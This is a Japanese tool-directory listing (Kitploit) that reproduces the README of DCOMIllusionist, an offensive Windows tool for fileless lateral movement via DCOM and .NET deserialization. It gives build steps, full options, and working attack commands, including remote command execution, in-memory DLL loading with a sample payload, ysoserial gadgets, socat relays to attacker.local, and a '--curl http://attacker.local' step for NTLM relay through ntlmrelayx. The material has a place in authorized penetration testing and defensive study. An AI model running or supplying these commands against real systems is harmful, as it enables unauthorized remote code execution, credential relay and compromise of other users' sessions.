Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DCOMIllusionist — DCOMを利用したメモリ内およびファイルレスな横方向移動技術(.Netデシリアライゼーション経由) | Kitploit
ツール/GitHubGitHub/synacktiv/dcomillusionist
特権昇格エクスプロイト横移動ポストエクスプロイトペネトレーションテストコマンド&コントロール認証レッドチーミングリモートアクセスツールペイロード開発
GitHubsynacktiv/dcomillusionist

DCOMIllusionist

28333103ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DCOMを利用したメモリ内およびファイルレスな横方向移動技術(.Netデシリアライゼーション経由)

リポジトリを見る
🎩✨🪄

DCOMIllusionist

Windows ファイルレス横移動テクニック。

はじめに  •  ビルド  •  使い方  •  技術詳細  •  謝辞


はじめに

このツールは、管理者権限を持っている場合にWindowsマシン上でリモートコード実行を可能にします。DCOMと、受信したオブジェクトを自動的にデシリアライズする.NET DCOMサーバーの動作を活用します。これにより、ディスクに書き込むことなく任意のコマンドを実行したりDLLをロードしたりすることが可能になります。

当初はJames Forshawによって特権昇格手法として発見されましたが、この方法は特定のレジストリキーをリモートで変更することで横移動に適応されました。さらに、DCOMを介したクロスセッションの悪用もサポートしており、任意のコマンドを別のユーザーセッション内でそのセッションのセキュリティコンテキストのもとで実行できます。

この手法はワークステーションとサーバーの両方で動作しますが、ターゲットマシンと攻撃者管理下のマシン間のネットワークアクセスが必要です。

詳細はこのセクションをご覧ください。

ビルド

リリースが利用可能ですが、手動でビルドすることもできます:

PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

使い方

PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
このツールを正常に使用するには、攻撃側ホスト(昇格されたシェルを介して)とターゲットマシンの両方で管理者アクセスが必要です。

Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

前述の通り、セッションを指定することで別のユーザーのセッション内で任意のコマンドを実行できます。

[!WARNING] これは、対話ユーザーのIDで実行されるように構成されたAppIDでのみ機能します。これは自動的に処理されるため、--appid引数を指定する必要はありません。ツールはデフォルトで User Account Control Settings に関連付けられたAppIDを使用します。

[!IMPORTANT] 攻撃側マシンがドメインに参加している場合にのみ機能します。詳細はこちら。

--list-sessions

WTSEnumerateSessionsを使用してターゲット上のリモートの対話型およびアクティブなセッションを一覧表示します。

--listen

ターゲットマシンが攻撃者のホストに直接到達できない場合、エクスプロイトは失敗します。ただし、ターゲットが接続可能な中間マシンを指定することは可能です。socatのようなツールを使用して、この中間マシンから攻撃者のホストにトラフィックをリレーできます。

listen

  • 侵害されたマシン上:
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • 攻撃者マシン上:
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

runas /netonlyシェルからエクスプロイトを実行する場合、関連付けられたIDを自動的に取得できません。そのため、攻撃を成功させるには--attacker-sidオプションを使用して明示的に指定する必要があります。

--exec

--execは--exec-argsと共に使用して、ターゲット上で任意のバイナリを実行できます:

PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-execはそのラッパーに過ぎず、同じことは--ps-exec calcでも実現できます。

--curl

Curlは、クロスセッションの悪用シナリオで役立ちます。マシンに対する管理者権限を持っており、例えばドメイン管理者がセッション3でアクティブな場合、.NETを介して純粋にそのユーザーに代わって認証済みHTTPリクエストを開始することが可能です。このリクエストを、ntlmrelayx.pyを実行している攻撃者管理マシンに送ることで、従来のNTLMリレー攻撃を実行し、ユーザーを侵害できます。

PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

ディスクに触れることなく、任意のDLLを完全にメモリ内にロードすることが可能です。例えば:

// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

デフォルトでは、指定されたクラスの静的Runメソッド(パラメータなし)が実行されます。この動作は--dll-methodパラメータでカスタマイズできます。

--yso-b64

高度なガジェット生成には、Ysoserial.netを使用できます。得られたBase64エンコードされたペイロードを直接提供でき、それはRolePrincipalインスタンス内にカプセル化され、ターゲットマシン上でデシリアライズされます。

[!WARNING] BinaryFormatterでのみ機能します。

--test-network

通常のエクスプロイトと同じ操作を実行しますが、ダミーペイロードのみを送信して、ターゲットが攻撃者のマシンに接続できることを確認します。

--hku

HKLMレジストリルートキーの代わりにHKEY_USERSを使用することで、低特権ユーザーからすべてを悪用できます。これは、ユーザーがPerformance Log UsersまたはDistributed COM Usersグループのメンバーである場合に使用できます。この場合、正しいレジストリパスにアクセスするために--attacker-sidを指定する必要があります。また、書き込み可能なCLSIDも指定する必要があります(--fake-clsidを参照):

PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

偽のCLSIDとAppIdを作成します。現在のユーザーまたは--attacker-sidがDCOMサーバーを起動・アクティブ化できるように、AppIdに権限が設定されます。これは、HKU上の低特権ユーザーからエクスプロイトを実行する場合に便利です。

PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

技術詳細

ツールをダウンロード